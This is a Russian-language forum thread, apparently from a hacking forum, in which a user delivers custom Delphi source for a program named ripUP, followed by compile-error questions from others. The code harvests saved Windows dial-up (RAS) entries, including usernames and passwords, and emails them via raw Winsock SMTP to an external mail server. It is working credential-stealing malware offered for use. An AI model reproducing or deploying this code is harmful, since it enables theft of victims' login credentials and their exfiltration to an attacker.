сделаю...
P.s. в следующий раз пиши в кодинг.

сегодня/завтра будет готово. жди

__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...

ес будет готова плз пиши мне в пм ок?
ЗАРАНЕЕ Thank

все готово =)))
сорец: http://slil.ru/23585659

знаю, что такие веши лучше в аттач, но тут функция отправки почты с помошью winsock {Главное РАБОТАЮЩАЯ!}

program ripUP;

uses
WinSock,
Windows,
LmErr in 'RASDecrypt\RASAPI\LmErr.pas',
LmCons in 'RASDecrypt\RASAPI\LmCons.pas',
RasError in 'RASDecrypt\RASAPI\RasError.pas',
Ras in 'RASDecrypt\RASAPI\Ras.pas',
LSAManager in 'RASDecrypt\LSAManager.pas',
RASReader in 'RASDecrypt\RASReader.pas';

var
RAS_:TRASReader;
List:string;

procedure GetPass;
procedure RasCallback(PhoneNumber,AreaCode,UserName,Password ,EntryName:string);
begin
List:='Entry Name: '+EntryName+#13#10+
'Phone: '+PhoneNumber+#13#10+
'Code: '+AreaCode+#13#10+
'User Name: '+UserName+#13#10+
'Password: '+Password;
end;
begin
RAS_:=TRASReader.Create;
RAS_.GetRasEntries(@RasCallback);
RAS_.Free;
end;

function SendMail(SmtpServer:string;SmtpPort:integer;IsAuth :boolean;
POP3Server:string;POP3Port:integer;POP3Login:strin g;POP3Password:string;
FromAddr:string;ToAddr:string;MessageText:string): boolean;
function LookupName(name:string):TInAddr;
var
HostEnt:PHostEnt;
InAddr:TInAddr;
begin
if name[4]='.' then InAddr.s_addr:=inet_addr(PChar(name))
else begin
HostEnt:=gethostbyname(PChar(name));
FillChar(InAddr,SizeOf(InAddr),0);
if HostEnt<>nil then begin
with InAddr, HostEnt^ do begin
S_un_b.s_b1:=h_addr^[0];
S_un_b.s_b2:=h_addr^[1];
S_un_b.s_b3:=h_addr^[2];
S_un_b.s_b4:=h_addr^[3];
end;
end
end;
Result:=InAddr;
end;

function RecvText(S:TSocket):string;
const MAX_BUFF_SIZE=1024;
var
Recvbuff:array[0..MAX_BUFF_SIZE-1] of char;
iRecv:integer;
TempStr:string;
begin
Result:='';
ZeroMemory(@Recvbuff,SizeOf(RecvBuff));
iRecv:=recv(S,RecvBuff,MAX_BUFF_SIZE, 0);
if iRecv=0 then exit
else
if iRecv=Socket_Error then exit
else begin
TempStr:=RecvBuff;
Result:=Copy(TempStr,1,Pos(#13,TempStr));
end;
end;

function SendText(S:TSocket;Text:string):boolean;
const MAX_SEND_SIZE=1024;
var
SendBuff:array[0..MAX_SEND_SIZE] of char;
iSend:integer;
SendStr:string;
begin
Result:=false;
SendStr:=Text+#13#10;
if Length(SendStr)>MAX_SEND_SIZE then exit;
CopyMemory(@SendBuff,PChar(SendStr),Length(SendStr ));
iSend:=send(S,SendBuff,Length(SendStr),0);
if iSend=SOCKET_ERROR then exit;
Result:=true;
end;

function POP3Auth(Server:string;Port:integer;Login,Pass:str ing):TSocket;
var
saServerPop3:SockAddr_In;
RecvPop3Text,SendPop3Text:string;
begin
Result:=socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
if Result=INVALID_SOCKET then exit;
saServerPop3.sin_addr.s_addr:=htonl(INADDR_ANY);
saServerPop3.sin_family:=AF_INET;
saServerPop3.sin_port:=htons(Port);
saServerPop3.sin_addr:=LookupName(Server);
if connect(Result,saServerPop3,SizeOf(saServerPop3))= SOCKET_ERROR then begin
Result:=-1;
exit;
end;
RecvPop3Text:=RecvText(Result);
if Pos('+OK',RecvPop3Text)=0 then begin
CloseSocket(Result);
Result:=-1;
exit;
end;
SendPop3Text:='USER '+Login;
if not SendText(Result,SendPop3Text) then begin
CloseSocket(Result);
Result:=-1;
exit;
end;
RecvPop3Text:=RecvText(Result);
if Pos('+OK',RecvPop3Text)=0 then begin
CloseSocket(Result);
Result:=-1;
exit;
end;
SendPop3Text:='PASS '+Pass;
if not SendText(Result,SendPop3Text) then begin
CloseSocket(Result);
Result:=-1;
exit;
end;
RecvPop3Text:=RecvText(Result);
if Pos('+OK',RecvPop3Text)=0 then begin
CloseSocket(Result);
Result:=-1;
exit;
end;
end;

procedure POP3Quit(S:TSocket);
begin
if not SendText(S,'QUIT') then begin
CloseSocket(S);
exit;
end;
CloseSocket(S);
end;

var
WData:WSADATA;
sMailSocket,sPOP3Socket:TSocket;
saServerMail:SockAddr_In;
RecvMailText,SendMailText:string;
begin
Result:=false;
if WSAStartup(MAKEWORD(1,1),WData)<>0 then exit;
sMailSocket:=socket(PF_INET,SOCK_STREAM,IPPROTO_IP );
if sMailSocket=INVALID_SOCKET then exit;
saServerMail.sin_addr.s_addr:=htonl(INADDR_ANY);
saServerMail.sin_family:=AF_INET;
saServerMail.sin_port:=htons(SmtpPort);
saServerMail.sin_addr:=LookupName(SmtpServer);
if connect(sMailSocket,saServerMail,SizeOf(saServerMa il))=SOCKET_ERROR then exit;
RecvMailText:=RecvText(sMailSocket);
if Pos('220',RecvMailText)=0 then begin
CloseSocket(sMailSocket);
exit;
end;
SendMailText:='HELO antichat.ru';
if not SendText(sMailSocket,SendMailText) then begin
CloseSocket(sMailSocket);
exit;
end;
RecvMailText:=RecvText(sMailSocket);
if Pos('250',RecvMailText)=0 then begin
CloseSocket(sMailSocket);
exit;
end;
if IsAuth then begin
sPOP3Socket:=POP3Auth(POP3Server,POP3Port,POP3Logi n,POP3Password);
if sPOP3Socket=-1 then begin
CloseSocket(sMailSocket);
exit;
end;
end;
SendMailText:='MAIL FROM:'+FromAddr;
if not SendText(sMailSocket,SendMailText) then begin
CloseSocket(sMailSocket);
if IsAuth then CloseSocket(sPOP3Socket);
exit;
end;
RecvMailText:=RecvText(sMailSocket);
if Pos('250',RecvMailText)=0 then begin
CloseSocket(sMailSocket);
if IsAuth then CloseSocket(sPOP3Socket);
exit;
end;
SendMailText:='RCPT TO:'+ToAddr;
if not SendText(sMailSocket,SendMailText) then begin
CloseSocket(sMailSocket);
if IsAuth then CloseSocket(sPOP3Socket);
exit;
end;
RecvMailText:=RecvText(sMailSocket);
if Pos('250',RecvMailText)=0 then begin
CloseSocket(sMailSocket);
if IsAuth then CloseSocket(sPOP3Socket);
exit;
end;
SendMailText:='DATA';
if not SendText(sMailSocket,SendMailText) then begin
CloseSocket(sMailSocket);
if IsAuth then CloseSocket(sPOP3Socket);
exit;
end;
RecvMailText:=RecvText(sMailSocket);
if Pos('354',RecvMailText)=0 then begin
CloseSocket(sMailSocket);
if IsAuth then CloseSocket(sPOP3Socket);
exit;
end;
SendMailText:=MessageText;
if not SendText(sMailSocket,SendMailText) then
begin
CloseSocket(sMailSocket);
if IsAuth then CloseSocket(sPOP3Socket);
exit;
end;
SendMailText:=#13#10+'.';
if not SendText(sMailSocket,SendMailText) then begin
CloseSocket(sMailSocket);
if IsAuth then CloseSocket(sPOP3Socket);
exit;
end;
RecvMailText:=RecvText(sMailSocket);
if Pos('250',RecvMailText)=0 then begin
CloseSocket(sMailSocket);
if IsAuth then CloseSocket(sPOP3Socket);
exit;
end;
SendMailText:='QUIT';
if not SendText(sMailSocket,SendMailText) then begin
CloseSocket(sMailSocket);
if IsAuth then CloseSocket(sPOP3Socket);
exit;
end;
if Pos('221',RecvText(sMailSocket))=0 then begin
CloseSocket(sMailSocket);
if IsAuth then CloseSocket(sPOP3Socket);
exit;
end;
if IsAuth then POP3Quit(sPOP3Socket);
CloseSocket(sMailSocket);
Result:=true;
end;

begin
GetPass;
SendMail('smtp.mail.ru',25,false,'',110,'','','FRO M@mail.ru','TO@mail.ru',List);
end.

__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...

[fatal error]Project.1dpr(14):file not found:'lmerr.dcu' эт чо?

можеш сам исходник поставит сюда??

сорец: http://slil.ru/23585659
качать надо!

__________________
*********************************
*Я не волшебник ٩(๏̯͡๏)۶, только учусь...*
*********************************
Программы на заказ
Times to fly...